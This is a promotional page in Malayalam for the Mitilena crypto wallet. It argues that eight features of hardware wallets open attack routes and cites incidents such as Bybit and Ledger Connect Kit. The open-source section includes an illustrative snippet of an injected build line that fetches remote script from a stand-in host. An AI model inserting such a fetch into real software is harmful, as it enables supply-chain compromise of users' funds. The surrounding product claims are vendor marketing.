8 കുറവുകൾ ഓപ്പൺ സോഴ്‌സ് ചെക്ക്‌ലിസ്റ്റ് FAQ
Mitilena Mitilena Wallet കോൾഡ് ക്രിപ്റ്റോ വാലറ്റ്
ONLINE · 22,000+ COINS വാലറ്റ് സൃഷ്ടിക്കൂസൃഷ്ടിക്കൂ
ഹാർഡ്‌വെയർ വാലറ്റുകൾ · സ്പഷ്ടമല്ലാത്ത കുറവുകൾ

ഹാർഡ്‌വെയർ വാലറ്റ്ന്റെ സ്പഷ്ടമല്ലാത്ത കുറവുകൾ

ദ്വാരങ്ങൾ അടയ്ക്കാൻ നിങ്ങൾ ഒരു ഉപകരണം വാങ്ങുന്നു. അതോടൊപ്പം പുതിയവ വരുന്നു: ഫേംവെയർ, അപ്‌ഡേറ്റുകൾ, കമ്പ്യൂട്ടറിലെ സേവനം, സ്‌ക്രീൻ, ബോക്‌സ്, വിൽപ്പനക്കാരന്റെ അക്കൗണ്ട്. റിവ്യൂകൾ ഗുണമെന്ന് പറയുന്ന എട്ട് വിശദാംശങ്ങൾ — 2020–2026-ൽ അവയിലൂടെ പണം എടുത്ത എട്ട് വഴികളും.

തീയതിയും തുകയും ഉള്ള യഥാർത്ഥ സംഭവങ്ങൾ നിർമ്മാതാവിന്റെ ഡോക്യുമെന്റേഷൻ അടിസ്ഥാനമാക്കി അതേ ലിസ്റ്റിനെതിരെ ഞങ്ങളുടെ കിറ്റ് അളക്കുന്നു
തെറ്റിന്റെ വിലപൊതു കേസുകൾ
2026Coldcard · ഫേംവെയറിലെ ദുർബല റാൻഡംനസ്$100M+
2025Bybit · ഒപ്പിടുന്നവർ കാണാത്തതിന് ഒപ്പിട്ടു$1.5B
2024Dark Skippy · രണ്ട് ഒപ്പുകളിലൂടെ seed ചോർച്ചഗവേഷണം
2023Ledger Connect Kit · ലൈബ്രറിയിലെ ബാക്ക്ഡോർ$600K
2021App Store-ൽ വ്യാജ വാലറ്റ് ആപ്പ്17,1 BTC
2020Ledger ഉപഭോക്തൃ DB ലീക്ക് · വർഷങ്ങളോളം ഫിഷിംഗ്270,000 പേർ
എട്ട് കുറവുകൾ

റിവ്യൂകളിൽ പ്രശംസിക്കുന്ന ഓരോ വിശദാംശവും പ്രത്യേക ദ്വാരം

ഹാർഡ്‌വെയർ വാലറ്റ് ഒരു ദ്വാരം അടയ്ക്കുന്നു: കീ ഇനി ഇന്റർനെറ്റുള്ള ഫോണിൽ ഇരിക്കില്ല. പക്ഷേ ഉപകരണം ശൂന്യമല്ല. അതിന് ഫേംവെയർ, അപ്‌ഡേറ്റുകൾ, ഡെസ്‌ക്‌ടോപ്പ് പ്രോഗ്രാം, സ്‌ക്രീൻ, ബോക്‌സ്, നിങ്ങളുടെ വിലാസമുള്ള വിൽപ്പനക്കാരൻ — ഓരോ വിശദാംശവും മുമ്പില്ലാത്ത അറ്റാക്ക് സർഫേസ് ചേർക്കുന്നു. താഴെ എട്ട് അത്തരം വിശദാംശങ്ങൾ: റിവ്യൂകൾ എന്ത് പറയുന്നു, അവയിലൂടെ പണം എങ്ങനെ എടുത്തു, ദ്വാരം എങ്ങനെ അടയ്ക്കാം, ഞങ്ങളുടെ കിറ്റിൽ ആ വിശദാംശമുണ്ടോ.

കുറവ് 01

നിങ്ങളുടെ കീ സൃഷ്ടിക്കുന്ന ഫേംവെയർ

റിവ്യൂകളിൽ: «സുരക്ഷിത ചിപ്പ് — കീ ഉപകരണത്തിനുള്ളിൽ സൃഷ്ടിക്കപ്പെടുന്നു, ഒരിക്കലും പുറത്തുപോകില്ല»

കീ എന്നത് വലിയ റാൻഡം നമ്പറാണ്, അത് ഫേംവെയർ ഉണ്ടാക്കുന്നു. അവിടെ ഒരു ബഗ് — നിങ്ങൾ കരുതുന്നതിലും കുറവ് കീകൾ: ഉപകരണ ആക്‌സസ് ഇല്ലാതെ, വാങ്ങിയ വർഷങ്ങൾക്ക് ശേഷവും, എല്ലാ ഉടമകളിലും ഒരുമിച്ച് ബ്രൂട്ട്-ഫോഴ്‌സ് ചെയ്യപ്പെടും. ചിപ്പുമായി ബന്ധമില്ല; ദ്വാരം അതിന് മുകളിലാണ്.

സംഭവം
$100M+
Coldcard, ജൂലൈ 2026: 2021 മുതലുള്ള ഫേംവെയർ ബിൽഡ് ബഗ്, ഹാർഡ്‌വെയർ RNG-യെ ഉപകരണ സീരിയലും ടൈമറും കൊണ്ട് സീഡ് ചെയ്ത ദുർബലമായതിനാൽ നിശ്ശബ്ദമായി മാറ്റി. കീ ശക്തി ഏകദേശം 40 ബിറ്റിലേക്ക് ഇടിഞ്ഞു; 5,000+ വിലാസങ്ങൾ ശൂന്യമായി.
ദ്വാരം എങ്ങനെ അടയ്ക്കാം
നിങ്ങളുടെ സ്വന്തം റാൻഡംനസ് കൊണ്ടുവരാമോ: ഡൈസ് ഉരുട്ടൽ, നിങ്ങളുടെ സ്വന്തം വാക്യം. നിങ്ങളിൽ നിന്ന് എൻട്രോപ്പി സ്വീകരിക്കുന്ന വാലറ്റ് ഒറ്റ ഫേംവെയർ ബഗിനെ ആശ്രയിക്കില്ല.
ഈ വിശദാംശം ഞങ്ങളിലില്ല
കാർഡിൽ ഫേംവെയർ ഇല്ല — അത് നിങ്ങളുടെ ciphertext-ന്റെ മൂക കാരിയർ. Mitilena Air ഉപകരണത്തിന്റെ സിസ്റ്റം RNG-യിൽ നിന്ന് കീ സൃഷ്ടിക്കുന്നു, റാൻഡം വാക്കുകൾക്ക് പകരം നിങ്ങളുടെ സ്വന്തം seed വാക്യം സജ്ജമാക്കാം.
കുറവ് 02

നിങ്ങൾ നിർബന്ധമായും ഇൻസ്റ്റാൾ ചെയ്യേണ്ട അപ്‌ഡേറ്റുകൾ

റിവ്യൂകളിൽ: «നിർമ്മാതാവ് പതിവായി സുരക്ഷാ അപ്‌ഡേറ്റുകൾ അയയ്ക്കുന്നു»

ഓരോ അപ്‌ഡേറ്റും ഫേംവെയർ മാറ്റിവയ്ക്കാവുന്ന നിമിഷം. കേടാക്കിയ ഫേംവെയർ രണ്ടോ മൂന്നോ സാധാരണ ഒപ്പുകളിൽ seed ഭാഗങ്ങൾ ഒളിപ്പിക്കുന്നു, പുറത്തുനിന്ന് ഉപകരണം സാധാരണ കാണപ്പെടും. അപ്‌ഡേറ്റ് ഒഴിവാക്കലും ഓപ്ഷനല്ല: ദ്വാരങ്ങൾ അതേ അപ്‌ഡേറ്റുകൾ കൊണ്ടുതന്നെ പാച്ച് ചെയ്യുന്നു.

സംഭവം
2 ഒപ്പുകൾ
Dark Skippy, ഓഗസ്റ്റ് 2024: ദുരുദ്ദേശ്യ ഹാർഡ്‌വെയർ-വാലറ്റ് ഫേംവെയർ രണ്ട് ഇടപാടുകളിലൂടെ മുഴുവൻ seed പുറത്തെടുക്കാമെന്ന് ഗവേഷകർ കാണിച്ചു. തെറ്റായ സ്ഥലത്തുനിന്നുള്ള ഒറ്റ അപ്‌ഡേറ്റ് മതി.
ദ്വാരം എങ്ങനെ അടയ്ക്കാം
ഫേംവെയർ എവിടെ നിന്ന് വരുന്നു, ഉപകരണം അതിന്റെ ഒപ്പ് പരിശോധിക്കുന്നുണ്ടോ. ഏറ്റവും നല്ലത് — അപ്‌ഡേറ്റ് ചെയ്യാൻ ഒന്നുമില്ലാതിരിക്കുക.
ഈ വിശദാംശം ഞങ്ങളിലില്ല
കാർഡിൽ അപ്‌ഡേറ്റ് ചെയ്യാനോ മാറ്റാനോ ഒന്നുമില്ല. ഒപ്പിടൽ ഫോൺ ആപ്പിലാണ്; അതിന്റെ ബിൽഡുകൾ സൈൻ ചെയ്ത് App Store-ലും Google Play-ലും നിന്ന് വരുന്നു — നിങ്ങൾ കണ്ട് അടയ്ക്കുന്ന ഏത് ആപ്പും പോലെ.
കുറവ് 03 · അസംബന്ധം അനുഭവിക്കൂ
റിവ്യൂകളിൽ: «സൗകര്യപ്രദമായ കമ്പനി ഡെസ്‌ക്‌ടോപ്പ് ആപ്പ്»

അവിശ്വാസത്തിനായി വാങ്ങുന്ന വാലറ്റ് — ഒപ്പം ബാക്ക്ഗ്രൗണ്ട് സേവനം

ഒറ്റ കാരണത്തിന് നിങ്ങൾ ഉപകരണം വാങ്ങുന്നു: കമ്പ്യൂട്ടറിനെ വിശ്വസിക്കുന്നത് നിർത്താൻ. അത് പ്രവർത്തിക്കാൻ, അതേ കമ്പ്യൂട്ടറിൽ ബാക്ക്ഗ്രൗണ്ട് സേവനം ഇൻസ്റ്റാൾ ചെയ്യണം. നിങ്ങൾ അത് എഴുതിയില്ല, തുടങ്ങിയില്ല, നിയന്ത്രിക്കുന്നില്ല: OS-നൊപ്പം ലോഞ്ച് ചെയ്യുന്നു, നിങ്ങളുടെ മെഷീനിലെ ഏത് പ്രോഗ്രാമും തൊടാവുന്ന പോർട്ട് കേൾക്കുന്നു, ഇപ്പോഴും എന്തോ ചെയ്യുന്നു — കൃത്യമായി എന്ത്, നിങ്ങൾക്കറിയില്ല, ഒരിക്കലും പരിശോധിക്കാനാവില്ല.

വാലറ്റ് അടച്ച ശേഷവും അത് ബാക്ക്ഗ്രൗണ്ടിൽ ഓടിക്കൊണ്ടിരുന്നു. വർഷങ്ങളോളം. ഏറ്റവും വലിയ നിർമ്മാതാക്കളിലൊരാളിൽ അത് പ്രത്യേക «ബ്രിഡ്ജ്» സേവനമായിരുന്നു; 2025-ൽ അത് ആപ്പിനുള്ളിൽ തന്നെ ഒളിപ്പിച്ചു — സേവനം ഇപ്പോഴുമുണ്ട്, വിൻഡോയോടൊപ്പം മാത്രം മരിക്കുന്നു. മിക്ക മറ്റുള്ളവരിലും, ഡെസ്‌ക്‌ടോപ്പ് പ്രോഗ്രാം ഇല്ലാതെ ഉപകരണം കീചെയിൻ ഫോബ്. Linux-ൽ udev നിയമങ്ങൾ ചേർക്കുക, അല്ലെങ്കിൽ സിസ്റ്റം USB തരില്ല.

അതായത് കമ്പ്യൂട്ടർ പ്രോഗ്രാമുകളെ ആശ്രയിക്കാതിരിക്കാൻ നിങ്ങൾ വാങ്ങിയ വസ്തു, കമ്പ്യൂട്ടർ പ്രോഗ്രാം ഇല്ലാതെ പ്രവർത്തിക്കില്ല. നിങ്ങൾ കാണുന്നതല്ല — അതിനടിയിൽ ഓടുന്നത്.

ഈ വിശദാംശം ഞങ്ങളിലില്ല
കമ്പ്യൂട്ടറിൽ ഒന്നും ഇൻസ്റ്റാൾ ചെയ്യുന്നില്ല: സേവനമില്ല, ഡ്രൈവറില്ല, പോർട്ടില്ല. മധ്യവർത്തി — നിങ്ങളുടെ ഫോണിലുള്ള NFC ചിപ്പ്, അതിന്റെ നിർമ്മാതാവ് ഉണ്ടാക്കിയതും OS നിയന്ത്രിക്കുന്നതും: ആപ്പ് തുറന്നിരിക്കുമ്പോഴും നിങ്ങൾ തന്നെ കാർഡ് ടാപ്പ് ചെയ്യുമ്പോഴും മാത്രം പ്രവർത്തിക്കുന്നു, ഫോൺ ഓരോ തവണയും അനുമതി ചോദിക്കുന്നു. കാർഡ് നിഷ്ക്രിയം: ബാറ്ററിയില്ല, റേഡിയോ ഇല്ല, സ്വയം ഒന്നും ചെയ്യില്ല. ആപ്പ് അടച്ചാൽ — നിങ്ങളില്ലാതെ ഓടുന്നത് ഒന്നും അവശേഷിക്കില്ല. സത്യസന്ധമായി: ഫോൺ ആപ്പ് വേണം, അത് മറ്റേത് ആപ്പും പോലെ — നിങ്ങൾ കാണുന്നു, തുറക്കുന്നു, അടയ്ക്കുന്നു. യൂട്ടിലിറ്റി റൂമിൽ ആരും താമസിക്കുന്നില്ല.
സിസ്റ്റം മോണിറ്റർവാലറ്റ് അടച്ചു
പ്രക്രിയസ്ഥിതിഅപ്‌ടൈം
HW Wallet Appവാലറ്റ്
നിങ്ങൾ അടച്ചത്-
hwwalletdബാക്ക്ഗ്രൗണ്ട് സേവനം · USB ബ്രിഡ്ജ്
ഓടുന്നു412d 06:14
ലോഗിനിൽ സിസ്റ്റം തുടങ്ങിയത്അടയ്ക്കാനാവില്ല — ഇത് സേവനം
മോക്കപ്പ്; പേരുകൾ ഉദാഹരണം. 2025-ന് മുമ്പ് ഏറ്റവും ജനപ്രിയ USB വാലറ്റുകളിലൊന്നോടൊപ്പം കമ്പ്യൂട്ടർ ഇങ്ങനെയായിരുന്നു; പിന്നീട് «ബ്രിഡ്ജ്» ആപ്പിനുള്ളിൽ തന്നെ ഇട്ടു — അതേ സേവനം, ലിസ്റ്റിൽ ഇനി കാണുന്നില്ല.
രൂപകം
സ്വകാര്യതയ്ക്ക് വീട് — യൂട്ടിലിറ്റി റൂമിൽ വാടകക്കാരൻ

സ്വകാര്യതയ്ക്ക് വീട് വേണമായിരുന്നു. വാങ്ങി. പിന്നെ സുരക്ഷ വേണമായി — ഇൻസ്റ്റാൾ ചെയ്തു. സുരക്ഷാ പദ്ധതി പ്രവർത്തിക്കാൻ, യൂണിഫോം ധരിച്ച ഒരാളെ വീട്ടിലേക്ക് വിടാൻ പറഞ്ഞു — അയാൾ രാവും പകലും നിങ്ങളുടെ യൂട്ടിലിറ്റി റൂമിൽ താമസിക്കുന്നു, എല്ലാ വാതിലിന്റെയും കീയുണ്ട്, മറ്റാരോടോ റിപ്പോർട്ട് ചെയ്യുന്നു. നിങ്ങൾ നിയമിച്ചില്ല, പിരിച്ചുവിടാനാവില്ല, രാത്രി എന്ത് ചെയ്യുന്നു — അറിയില്ല.

അയാൾ «നമ്മുടേതാണ്,» തീർച്ചയായും. കരാറിൽ അങ്ങനെ എഴുതിയിട്ടുണ്ട്. സ്വകാര്യത വേണമായിരുന്നു, കിട്ടിയത് സറഗേറ്റ്: നിങ്ങൾ തിരഞ്ഞെടുക്കാത്ത വാടകക്കാരനുള്ള വീട്.

കുറവ് 04 · ഓപ്പൺ സോഴ്‌സ് ഓഡിറ്റ് അല്ല
റിവ്യൂകളിൽ: «ഓപ്പൺ സോഴ്‌സ് — ആർക്കും പരിശോധിക്കാം»

ഓപ്പൺ സോഴ്‌സ് എന്നത് പ്രോഗ്രാമർമാർ ഒരുമിച്ച് ജോലി ചെയ്യുന്ന രീതിയാണ്, പ്രോഗ്രാം മോഷ്ടിക്കില്ല എന്ന ബാഡ്ജ് അല്ല

ആളുകൾ പ്രോഗ്രാമുകൾ പങ്കുവച്ച് ഒരുമിച്ച് ശരിയാക്കാൻ ഓപ്പൺ സോഴ്‌സ് ഉണ്ടായി. സഹകരണ ഉപകരണമായി അത് മികച്ചതാണ്. «ഈ സോഫ്റ്റ്‌വെയർ നിങ്ങളുടെ പണം മോഷ്ടിക്കില്ല» എന്ന ഗുണനിലവാര മുദ്ര അത് ഒരിക്കലുമല്ല, കാരണം ഇതാ: നിങ്ങൾ സോഴ്‌സ് കോഡ് ഉപയോഗിക്കുന്നില്ല. ഡൗൺലോഡ് ചെയ്തത് ഉപയോഗിക്കുന്നു.

GitHub റിപോയും ഫോണിലെ ഫയലും തമ്മിൽ ബിൽഡ്, ആപ്പ് സ്റ്റോർ, അപ്‌ഡേറ്റ്, സർവർ ഉണ്ട്. ആ ഏത് ഘട്ടത്തിലും ഒരു വരി കോഡിലേക്ക് കയറി എവിടെയെങ്കിലും നിന്ന് എന്തെങ്കിലും വലിച്ചെടുക്കാം — അത് റിപോയിൽ ഉണ്ടാകില്ല. നിങ്ങളുടെ കോപ്പി സോഴ്‌സുമായി താരതമ്യം ചെയ്യാനാവില്ല: സ്റ്റോറുകൾ കംപൈൽ ചെയ്ത ഫയൽ അയയ്ക്കുന്നു; വെബ് വാലറ്റിന് സർവർ ഇന്ന് തന്ന കോഡ് വരുന്നു; ബ്രൗസർ എക്‌സ്‌റ്റെൻഷൻ രാത്രി നിശ്ശബ്ദമായി അപ്‌ഡേറ്റ് ആകുന്നു.

«തുറന്നത്» എന്നാൽ ചില ആളുകൾക്ക് ചില ദിവസം ചില പതിപ്പ് നോക്കാം എന്നർത്ഥം. നിങ്ങളുടെ കോപ്പി ഇപ്പോൾ എന്ത് ചെയ്യുന്നു — അത് അർത്ഥമാക്കുന്നില്ല.

റിപോയിൽ · github.com/…/wallet/send.js
// send.js
import { sign } from './crypto'
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
നിങ്ങളുടെ ഫോണിൽ · app-2.4.21.min.js
// send.js — build
import { sign } from './crypto'
;(async () => {
var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
ബിൽഡിലെ ഒരു വരി. റിപോയിലില്ല, സ്റ്റോറിൽ കാണില്ല, നിങ്ങളുടെ ഉപകരണത്തിൽ ഓടുന്നു.
തുറന്നിരിക്കൽ ഈ ഒരു കേസും തടഞ്ഞില്ല
Ledger Connect Kit2023
GitHub-ൽ തുറന്ന ലൈബ്രറി; ദുരുദ്ദേശ്യ പതിപ്പ് npm-ലേക്ക് പ്രസിദ്ധീകരിച്ചു; മണിക്കൂറുകൾക്കുള്ളിൽ ഡസൻ കണക്കിന് സൈറ്റുകൾ ലൈവ് ലോഡ് ചെയ്തു
Copay / event-stream2018
തുറന്ന വാലറ്റ്; ബാക്ക്ഡോർ പ്രത്യേകം അതിനെ ലക്ഷ്യമാക്കിയ ഡിപെൻഡൻസി വഴി വന്നു
xz utils2024
ഇരുപത് വർഷം തുറന്നിരുന്നു; ഒരു എഞ്ചിനീയർ SSH ലോഗിൻ അര സെക്കൻഡ് മന്ദഗതിയാണെന്ന് ശ്രദ്ധിക്കും വരെ ബാക്ക്ഡോർ റിലീസുകളിലുണ്ടായിരുന്നു
Coldcard2026
ഓപ്പൺ-സോഴ്‌സ് ഫേംവെയർ; അഞ്ച് വർഷത്തെ ബിൽഡ് ബഗ് ഹാർഡ്‌വെയർ RNG-യെ ദുർബലമായതിനാൽ മാറ്റി — ഉപകരണ ആക്‌സസ് ഇല്ലാതെ കീ ബ്രൂട്ട്-ഫോഴ്‌സ്, 5,000+ വിലാസം, $100M+
യഥാർത്ഥത്തിൽ പ്രവർത്തിക്കുന്നത്
മറ്റൊരാളുടെ കോഡ് വായിക്കലല്ല — ആർക്കും ചെയ്യാവുന്ന രണ്ട് പരിശോധനകൾ. ഒന്നാമത്, പെരുമാറ്റ ഓഡിറ്റ്: കമ്പ്യൂട്ടറിൽ ഇന്റർസെപ്റ്റിംഗ് പ്രോക്‌സി വച്ച് ആപ്പ് അതിലൂടെ ഓടിച്ച് എവിടേക്ക് എന്ത് അയയ്ക്കുന്നു നോക്കുക. കോഡ് വായിക്കേണ്ടതില്ല — ട്രാഫിക് പൂർണ്ണമായി കാണാം. രണ്ടാമത്, മോഷ്ടിക്കാൻ ഒന്നുമില്ലാത്ത വാസ്തുവിദ്യ: കീ നെറ്റ്‌വർക്ക് ഉപകരണത്തിൽ ഒരിക്കലും ഇല്ലെങ്കിൽ, ഏത് അപ്‌ഡേറ്റിലെ ഏത് വരിയും നിഷ്പ്രഭം — അയയ്ക്കാൻ ഒന്നുമില്ല.
ഞങ്ങൾ എങ്ങനെ ചെയ്യുന്നു
ആദ്യത്തേത് ഞങ്ങൾ തന്നെ തരുന്നു: ഞങ്ങളുടെ ആപ്പ് പ്രോക്‌സി വഴി, വെബ് പതിപ്പ് ബ്രൗസർ DevTools വഴി ഓടിച്ച് ഓരോ അഭ്യർത്ഥനയും പരിശോധിക്കുക. സൈനിംഗ് കീയും seed-ഉം കാണില്ല; ഏക മുന്നറിയിപ്പ് Monero view key — «ട്രാൻസ്ഫർ എങ്ങനെ പുറത്തുപോകുന്നു» പേജിൽ വിശദീകരിച്ചിട്ടുണ്ട്. രണ്ടാമത് കിറ്റിലുണ്ട്: കീ ഇന്റർനെറ്റ് ഇല്ലാത്ത ഉപകരണത്തിൽ Mitilena Air-ൽ ജനിക്കുന്നു, കാർഡിൽ വസിക്കുന്നു, ഓൺലൈൻ ആപ്പിലേക്ക് ഒപ്പ് മാത്രം എത്തുന്നു — പ്രോക്‌സി ചെയ്യാൻ ഒന്നും അവശേഷിക്കില്ല. ഇവിടത്തെ ഓഫ്‌ലൈൻ യഥാർത്ഥമാണ്: air-gap മോഡിൽ കീ ഉപകരണം മുഴുവൻ സമയം ഓഫ്‌ലൈൻ — സ്വന്തം സേവനവുമായി ആരുമറിയാത്തത് കൈമാറുന്ന ഓൺലൈൻ കമ്പ്യൂട്ടറിലേക്ക് വയർ തൂങ്ങുന്നില്ല.
കുറവ് 05

നിങ്ങൾ ഒപ്പിടുന്നത് കാണിക്കാത്ത സ്‌ക്രീൻ

റിവ്യൂകളിൽ: «ഉപകരണ സ്‌ക്രീനിൽ സ്ഥിരീകരിക്കുക — കമ്പ്യൂട്ടറിലെ വൈറസ് നിഷ്പ്രഭം»

സ്‌ക്രീൻ ചെറുതാണ്, പലപ്പോഴും വിലാസവും തുകയുമല്ലാതെ ഹാഷോ «കോൺട്രാക്ട് കോൾ»-ഓ കാണിക്��ുന്നു. കാണാത്തതിന് നിങ്ങൾ സ്ഥിരീകരിക്കുന്നു — ഒപ്പ് ഇപ്പോഴും സത്യസന്ധം, നിങ്ങളുടേത്. സ്‌ക്രീൻ നിയന്ത്രണത്തിന്റെ തോന്നൽ തരുന്നു, അത് ഇല്ല.

സംഭവം
$1.5B
Bybit, ഫെബ്രുവരി 2025: ഹാർഡ്‌വെയർ വാലറ്റുള്ള ഒപ്പിടുന്നവർ UI-യിൽ സാധാരണ കാണുന്ന ട്രാൻസ്ഫർ സ്ഥിരീകരിച്ചു. ഉപകരണങ്ങൾ മനുഷ്യൻ പരിശോധിക്കാനാവാത്ത ഡാറ്റ കാണിച്ചു.
ദ്വാരം എങ്ങനെ അടയ്ക്കാം
സ്വീകരിക്കുന്നയാൾ, തുക, പ്രവർത്തന തരം മനുഷ്യ ഭാഷയിൽ — ഹാഷ് അല്ല — ഒറ്റ-ബട്ടൺ Reject-ഉം.
ഞങ്ങൾ എങ്ങനെ ചെയ്യുന്നു
സ്‌ക്രീൻ ഉണ്ട്, പക്ഷേ അത് ഫോൺ സ്‌ക്രീൻ: വിലാസം, തുക, അഭ്യർത്ഥന തരം വാക്കുകളിൽ — ട്രാൻസ്ഫർ, കോൺട്രാക്ട് കോൾ, അംഗീകാരം — Reject ബട്ടണും. വലിയ തുകയ്ക്ക് — മുഴുവൻ ഇടപാട് സ്വീകരിക്കുന്ന പ്രത്യേക ഓഫ്‌ലൈൻ ഉപകരണം.
കുറവ് 06

ഇതിനകം seed ഉള്ള ബോക്‌സ്

റിവ്യൂകളിൽ: «സുരക്ഷാ സീലോടെ സീൽ ചെയ്ത ബോക്‌സിൽ അയയ്ക്കുന്നു»

ഫിസിക്കൽ ഉപകരണം എന്നാൽ ഷിപ്പിംഗ്, മധ്യവർത്തികൾ, «ഡിസ്‌കൗണ്ട്» മാർക്കറ്റ്‌പ്ലേസുകൾ. വാലറ്റ് മുൻകൂട്ടി സെറ്റ് ചെയ്ത് വരുന്നു, അകത്ത് സ്ലിപ്പിൽ seed. അല്ലെങ്കിൽ സ്റ്റോറിലെ വ്യാജ ആപ്പ് «സജീവമാക്കാൻ seed നൽകൂ» എന്ന് ചോദിക്കുന്നു.

സംഭവം
17,1 BTC
App Store, 2021: ഹാർഡ്‌വെയർ-വാലറ്റ് ഉടമ വ്യാജ ആപ്പിലേക്ക് seed നൽകി 17.1 BTC നഷ്ടപ്പെട്ടു. അതേ വർഷം, DB ലീക്കിന് ശേഷം, Ledger ഉപഭോക്താക്കൾക്ക് «നിങ്ങളുടെ seed പുതിയതിലേക്ക് മാറ്റുക» എന്ന കത്തോടെ വ്യാജ ഉപകരണങ്ങൾ അയച്ചു.
ദ്വാരം എങ്ങനെ അടയ്ക്കാം
നിങ്ങൾ തന്നെ തുടങ്ങുക, ഇതിനകം എഴുതി വന്ന seed ഒരിക്കലും ഉപയോഗിക്കരുത്. സീൽ പരിശോധനയല്ല; പരിശോധന എന്നത് കീ നിങ്ങൾ സൃഷ്ടിക്കുക എന്നതാണ്.
ഞങ്ങൾ എങ്ങനെ ചെയ്യുന്നു
കാർഡുകൾ ശൂന്യമായി വരുന്നു: നിങ്ങൾ കീ സൃഷ്ടിച്ച് നിങ്ങൾ തന്നെ എഴുതുന്നു — ബോക്‌സിൽ റെഡിമെയ്ഡ് seed ഉണ്ടാകാൻ വഴിയില്ല. ആപ്പ് സൈറ്റിലെ ലിങ്കുകൾ വഴി App Store-ല���ം Google Play-ലും നിന്ന് മാത്രം വരുന്നു; ഇമ്പോർട്ട്/സൈൻ സമയത്ത് മാത്രം seed ചോദിക്കുന്നു.
കുറവ് 07

വിൽപ്പനക്കാരന്റെ അക്കൗണ്ട്

റിവ്യൂകളിൽ: «ഔദ്യോഗിക വാറന്റി, സപ്പോർട്ട്, വ്യക്തിഗത അക്കൗണ്ട്»

ഉപകരണം വാങ്ങാൻ നിങ്ങൾ നിർമ്മാതാവിന് പേര്, ഇമെയിൽ, ഷിപ്പിംഗ് വിലാസം തരുന്നു. നിങ്ങളുടെ സുരക്ഷ ഇപ്പോൾ അവരുടെ ഡാറ്റാബേസിനെ ആശ്രയിക്കുന്നു. അത് ചോർന്നാൽ — വർഷങ്ങളോളം «പുതിയ ഉപകരണത്തിൽ seed സ്ഥിരീകരിക്കൂ» സന്ദേശങ്ങൾ വരും, ചിലപ്പോൾ പാക്കേജുകളോടെ.

സംഭവം
270,000 പേർ
Ledger, 2020: 270,000 വാങ്ങുന്നവരുടെ ഡാറ്റ ചോർന്നു, തപാൽ വിലാസങ്ങളടക്കം. seed «മൈഗ്രേറ്റ്» ചെയ്യാൻ ആവശ്യപ്പെടുന്ന ഇമെയിൽ, കോൾ, പാക്കേജുകൾ ഇന്നും തുടരുന്നു.
ദ്വാരം എങ്ങനെ അടയ്ക്കാം
നിങ്ങളെക്കുറിച്ച് അറിയുന്നത് കുറയുന്തോറും വെക്ടർ ചെറുത്: അക്കൗണ്ട് ഇല്ലാതെ വാങ്ങുക, seed ഒരിക്കലും ചോദിക്കാത്ത സപ്പോർട്ട്, «seed ചോദിക്കുന്നവൻ കള്ളൻ മാത്രം» എന്ന നിയമം.
ഈ വിശദാംശം ഞങ്ങളിലില്ല
വാലറ്റ് രജിസ്ട്രേഷൻ ഇല്ലാതെ പ്രവർത്തിക്കുന്നു — അക്കൗണ്ട് ഇല്ല. വിൽപ്പനക്കാരന് ഷിപ്പിംഗ് വിലാസം മാത്രം അറിയാം. സപ്പോർട്ടോ ആപ്പോ seed ചോദിക്കില്ല.
കുറവ് 08

ഒരു ഉപകരണവും ഒരു കടലാസ് സ്ലിപ്പും

റിവ്യൂകളിൽ: «കട്ടിയുള്ള കേസ്, വലിയ സ്‌ക്രീൻ, ആഴ്ചയോളം ബാറ്ററി»

ഭാഗങ്ങൾ കൂടുന്തോറും തകരുന്നത് കൂടും: കണക്ടർ, സ്‌ക്രീൻ, ബാറ്ററി. റിക്കവറി ഒറ്റ seed സ്ലിപ്പിൽ നിൽക്കുന്നു — നനഞ്ഞു, നീക്കത്തിൽ നഷ്ടപ്പെട്ടു, «സുരക്ഷയ്ക്ക്» ഫോട്ടോ. നഷ്ടത്തിന്റെ ഏറ്റവും സാധാരണ കാരണം ഹാക്കല്ല.

സംഭവം
≈20 % BTC
Chainalysis കണക്ക്: എല്ലാ ബിറ്റ്‌കോയിന്റെയും ഏകദേശം അഞ്ചിലൊന്ന് ശാശ്വതമായി നഷ്ടപ്പെട്ടു — ഹാക്കുകളല്ല, നഷ്ടപ്പെട്ട കീകളാലാണ് കൂടുതലും.
ദ്വാരം എങ്ങനെ അടയ്ക്കാം
ബോക്‌സിൽ എത്ര കീ കോപ്പികൾ ഏത് രൂപത്തിൽ വരുന്നു, ഉപകരണം നഷ്ടപ്പെട്ടാൽ എന്ത്, അകത്ത് തകരാവുന്ന എന്തെങ്കിലുമുണ്ടോ.
ഈ വിശദാംശം ഞങ്ങളിലില്ല
സ്‌ക്രീൻ, ബാറ്ററി, കണക്ടർ ഇല്ല — തകരാൻ ഒന്നുമില്ല. ഒറ്റ കോപ്പിയല്ല: ബോക്‌സിൽ അഞ്ച് മിറർ കോപ്പികൾ — രണ്ട് NFC കാർഡും വാട്ടർപ്രൂഫ് പ്ലാസ്റ്റിക്കിലെ മൂന്ന് സ്റ്റെൽത്ത് സ്റ്റിക്കറും, 10+ വർഷം.
ചെക്ക്‌ലിസ്റ്റ്

വാലറ്റിൽ എന്ത് ഉണ്ടാകരുത്

എട്ട് കുറവുകൾക്ക് എട്ട് വിശദാംശങ്ങൾ. ലിസ്റ്റ് ഏത് വാലറ്റിനും യോജിക്കും — ഹാർഡ്‌വെയർ, മൊബൈൽ, ബ്രൗസർ. നിങ്ങൾ തിരഞ്ഞെടുക്കുന്നതിൽ എന്തുണ്ട് ടിക്ക് ചെയ്യൂ — ഞങ്ങളുടേതിലും.

01
സോഫ്റ്റ്‌വെയർ മാത്രം സൃഷ്ടിക്കുന്ന കീനിങ്ങളുടെ സ്വന്തം റാൻഡംനസ് ഇല്ലാതെ — നിങ്ങളുടെ വാക്യം അല്ലെങ്കിൽ ഡൈസ്
02
കീ വസിക്കുന്നിടത്തെ അപ്‌ഡേറ്റുകൾഓരോ അപ്‌ഡേറ്റും കോഡ് മാറ്റിവയ്ക്കാനുള്ള അവസരം
03
കമ്പ്യൂട്ടറിലെ സേവനം, ഡ്രൈവർ അല്ലെങ്കിൽ പോർട്ട്കുറവ് 03 കാണുക
04
വാസ്തുവിദ്യയ്ക്ക് പകരം «ഓപ്പൺ സോഴ്‌സ്» ബാഡ്ജ്പരായി കോഡ് എത്തുന്നിടത്ത് കീ ഇരിക്കുന്നു
05
വിലാസവും തുകയ്ക്ക് പകരം ഹാഷ് കാണിക്കുന്ന സ്‌ക്രീൻReject ബട്ടൻ ഇല്ല
